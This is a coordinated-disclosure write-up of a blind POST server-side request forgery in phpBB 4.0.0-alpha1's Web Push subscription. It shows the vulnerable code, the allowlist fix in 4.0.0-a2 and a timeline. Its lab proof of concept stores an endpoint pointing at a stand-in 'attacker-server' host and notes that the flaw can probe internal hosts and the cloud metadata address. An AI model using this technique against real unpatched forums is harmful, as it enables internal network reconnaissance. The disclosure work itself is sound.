RESEARCH // 2026.05.31

Blind POST SSRF in phpBB 4.0.0-alpha1 Web Push (CVD with phpBB)

A registered phpBB 4.0.0-alpha1 user could point Web Push at any URL; the server fetched it. Coordinated disclosure; fixed in phpBB 4.0.0-a2.

SeverityMedium — CVSS 3.1: 5.0 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N) (per phpBB)
Assetphpbb/phpbb — Web Push notification subsystem
AffectedphpBB 4.0.0-alpha1 (commit 4a57f1ff3c)
Fixed inphpBB 4.0.0-a2 (2026-04-27)
CVENone assigned

TL;DR (for the non-technical reader)

phpBB is one of the longest-running open-source forum platforms. Its upcoming 4.0 line ships browser Web Push notifications so users can get pinged in real time when someone replies to them. The 4.0.0-alpha1 release stored the push endpoint — the URL the server is supposed to POST notifications to — exactly as the user’s browser sent it, without checking what URL it actually pointed to.

A registered (non-admin) user could subscribe themselves with a push endpoint pointed at any URL: an attacker-controlled server, an internal host that the public internet can’t reach, anything. Once any event triggered a notification for that user (a reply, a quote, a private message), the phpBB server made the outbound POST to that URL. We reported it via HackerOne; phpBB fixed it in 4.0.0-a2 by adding an HTTPS-only allowlist of known push services.

What’s vulnerable

phpBB’s Web Push subsystem was introduced in 4.0 to replace the legacy Jabber notification method (which the 4.0 migration explicitly removes). The browser registers via the W3C Push API, posts the resulting subscription (endpoint, p256dh, auth) to /user/push/subscribe, and phpBB persists it in the phpbb_push_subscriptions table. On any notification event, phpBB looks up the user’s stored endpoint and ships an encrypted Web Push payload via the Minishlink/web-push PHP library, which uses Guzzle under the hood.

The W3C Push API expects the endpoint to be a URL of a push servicefcm.googleapis.com, updates.push.services.mozilla.com, notify.windows.com, web.push.apple.com. phpBB 4.0.0-alpha1 never enforced that. The user-supplied string went straight into the database.

Attack flow

flowchart LR
  U["registered user (attacker)"]:::accent
  S["POST /user/push/subscribe
endpoint = http://internal-host:8080"]:::n D["phpbb_push_subscriptions
(no URL validation)"]:::n E["any notification event
(reply, quote, PM)"]:::n W["Minishlink WebPush → Guzzle"]:::n T["attacker / internal host
receives POST"]:::alert U --> S --> D E --> W -- "reads endpoint from DB" --> D W -- "POST + 3KB encrypted payload" --> T classDef n fill:#1A1A1C,stroke:#2A2A2D,color:#EDEAE3 classDef accent fill:#0A0A0B,stroke:#FF4A1C,color:#EDEAE3 classDef alert fill:#0A0A0B,stroke:#E8342B,color:#EDEAE3

Vulnerable code path

Subscription persistencephpBB/phpbb/ucp/controller/webpush.php inside subscribe(), around line 321:

$sql = 'INSERT INTO ' . $this->push_subscriptions_table . ' '
    . $this->db->sql_build_array('INSERT', [
        'user_id'  => $this->user->id(),
        'endpoint' => $data['endpoint'], // ← user-supplied, no URL validation
        // ...
    ]);

Outbound requestphpBB/phpbb/notification/method/webpush.php around line 248, in the notification dispatch:

$push_subscription = Subscription::create([
    'endpoint' => $subscription['endpoint'], // from DB, unvalidated
]);
$web_push->queueNotification($push_subscription, $json_data);

The Subscription model is Minishlink\WebPush\Subscription; queueNotification then drives Guzzle to issue the outbound POST with VAPID-signed headers and the encrypted payload to the URL that was stored at subscribe time.

Why the prerequisites are weaker than they look

webpush_enable defaults to false on fresh install, so an out-of-the-box phpBB 4.0.0-a1 isn’t vulnerable. But webpush_method_default_enable defaults to true — the moment an admin flips Web Push on (configures VAPID keys and enables the feature in ACP → Board settings), every existing user has the method active by default. There’s no per-user opt-in step gating this; the model is opt-out.

The Jabber callback

phpBB has seen this bug class before. In 2020, HackerOne #1018568 reported SSRF via the Jabber notification settings — jab_host and jab_port were admin-only fields that fed an outbound connection. The phpBB 4.0 migration removed Jabber outright, and Web Push was added as the modern replacement.

The interesting structural point: the new feature inherits the same outbound-URL-from-config bug class but moves the privilege boundary down — from “admin must configure the server URL” to “any registered user configures their own”. Same root pattern, lower bar.

Proof of concept — verified live

Setup: phpBB 4.0.0-alpha1 in Docker (PHP 8.2 + MySQL 8.0). Enable Web Push:

UPDATE phpbb_config SET config_value = '1' WHERE config_name = 'webpush_enable';
-- VAPID keys generated via Minishlink\WebPush\VAPID::createVapidKeys()

As a registered user, subscribe to Web Push in the browser, intercept the request to /user/push/subscribe, and replace the endpoint field with the URL you control. The P-256 ECDH p256dh and auth keys must be valid; they are trivially generated. Equivalent direct DB insertion for the lab:

INSERT INTO phpbb_push_subscriptions (user_id, endpoint, p256dh, auth)
VALUES (2, 'http://attacker-server:9999/ssrf-poc', '<valid_p256dh>', '<valid_auth>');

Trigger any notification for that user (a reply, a quote, a PM). The attacker’s HTTP listener receives:

POST /ssrf-poc HTTP/1.1
Host: attacker-server:9999
User-Agent: GuzzleHttp/7
Content-Type: application/octet-stream
Content-Encoding: aesgcm
Authorization: WebPush eyJ0eXAi...
Content-Length: 3070

A full, well-formed Web Push request — encrypted payload, VAPID JWT, ECDH headers — directed at the attacker’s URL.

Calibrated impact

This is a blind POST SSRF. No response body is returned to the attacker. The request body is a fixed ~3 KB WebPush-encrypted blob; the attacker cannot meaningfully shape it to target arbitrary internal APIs. The real residual capability is:

  • Internal network probing. By varying host and port across multiple subscriptions, a registered user can infer which internal hosts and ports are reachable from the phpBB server via connection timing and error behaviour.
  • Reachability of cloud metadata services. On cloud-hosted instances, a registered user can confirm whether 169.254.169.254 is reachable from the phpBB host — but cannot read its response. Standalone, this bug does not exfiltrate IAM credentials.
  • Server-attributed outbound traffic. Any logging or rate-limit decisions made by external services see phpBB’s IP, not the attacker’s.

What this isn’t: not a remote pre-auth bug (registered user is required); not an RCE; not a way to read internal HTTP responses on its own.

The fix — what 4.0.0-a2 changed

The fix landed on master via merge commit df53088“Merge pull request #77 from phpbb/ticket/security-288” — on 2026-04-26, then shipped in the phpBB 4.0.0-a2 release tag pushed on 2026-04-27 via b6e0404. The change is a new verify_endpoint() method in the UCP controller, called before the database insert:

// phpBB/phpbb/ucp/controller/webpush.php  (post-fix, 4.0.0-a2)
public function subscribe(symfony_request $symfony_request): JsonResponse
{
    $this->check_subscribe_requests();

    $data = json_sanitizer::decode($symfony_request->attributes->get('data', ''));

    if (!$this->verify_endpoint($data['endpoint']))
    {
        throw new http_exception(Response::HTTP_BAD_REQUEST, 'NOTIFY_WEB_PUSH_UNSUPPORTED_SERVICE');
    }

    // ... existing INSERT into $push_subscriptions_table ...
}

protected function verify_endpoint(string $endpoint): bool
{
    $parts = parse_url($endpoint);

    // Basic URL structural check
    if (!$parts || !isset($parts['scheme'], $parts['host']))
    {
        return false;
    }

    // MUST be HTTPS: https://datatracker.ietf.org/doc/html/rfc8030#section-8
    if (strtolower($parts['scheme']) !== 'https')
    {
        return false;
    }

    // Only allow endpoints for known push services (e.g. Mozilla, Google)
    $allowed_services = [
        'android.googleapis.com',
        'fcm.googleapis.com',
        'updates.push.services.mozilla.com',
        'updates-autopush.stage.mozaws.net',
        'updates-autopush.dev.mozaws.net',
        '.notify.windows.com',
        '.push.apple.com',
    ];

    // Extensible via core.ucp_webpush_controller_verify_endpoint event

    foreach ($allowed_services as $allowed_host)
    {
        if (str_ends_with(strtolower($parts['host']), $allowed_host))
        {
            return true;
        }
    }

    return false;
}

Three things worth noting about the shape of the fix:

  1. HTTPS-only. The scheme check enforces RFC 8030 §8, the Push Protocol spec.
  2. Host allowlist, not blocklist. The fix doesn’t try to reject “internal” hosts via IP filtering — it inverts the model to a small allowlist of real push-service domains. This is the right call: blocklists for SSRF are notoriously bug-prone (DNS rebinding, IPv6 mapping, link-local addresses, redirects).
  3. Extension hook. phpBB exposes a core.ucp_webpush_controller_verify_endpoint event so extensions can add additional allowed services without forking core. Good upstream hygiene for an open-source product that ships extensions as a first-class concept.

A failed check returns HTTP 400 with the language key NOTIFY_WEB_PUSH_UNSUPPORTED_SERVICE.

phpBB also explicitly declined to request a CVE for this issue, citing that 4.0.0-alpha1 is a pre-production alpha release and that CVE assignment for pre-release software falls outside their standard practice.

Before / after

Before — phpBB 4.0.0-a1:

flowchart LR
  U1["user submits
endpoint"]:::accent P1["no URL
validation"]:::alert DB1["DB insert
(any URL)"]:::n O1["Guzzle POST to
user-controlled URL"]:::alert U1 --> P1 --> DB1 --> O1 classDef n fill:#1A1A1C,stroke:#2A2A2D,color:#EDEAE3 classDef accent fill:#0A0A0B,stroke:#FF4A1C,color:#EDEAE3 classDef alert fill:#0A0A0B,stroke:#E8342B,color:#EDEAE3

After — phpBB 4.0.0-a2:

flowchart LR
  U2["user submits
endpoint"]:::accent P2["verify_endpoint():
parse_url + https +
host allowlist"]:::n R{"allowed?"}:::n DB2["DB insert"]:::n O2["Guzzle POST to
real push service"]:::n X["HTTP 400
NOTIFY_WEB_PUSH_UNSUPPORTED_SERVICE"]:::accent U2 --> P2 --> R R -->|yes| DB2 --> O2 R -->|no| X classDef n fill:#1A1A1C,stroke:#2A2A2D,color:#EDEAE3 classDef accent fill:#0A0A0B,stroke:#FF4A1C,color:#EDEAE3 classDef alert fill:#0A0A0B,stroke:#E8342B,color:#EDEAE3

Timeline

Date (UTC)Event
2026-03-16Reported to phpBB VDP via HackerOne (#3608558)
2026-03-17Triaged by phpBB staff; severity Medium / CVSS 5.0
2026-04-26Fix merged to master (df53088, PR #77, ticket security-288)
2026-04-27phpBB 4.0.0-a2 released (b6e0404)
2026-04-29HackerOne report marked Resolved
2026-05-30Publicly disclosed on HackerOne
2026-05-31This writeup published

Web Push replaced Jabber. The bug class came along for the ride — with a lower privilege bar.

Syntetisk research (misop00p)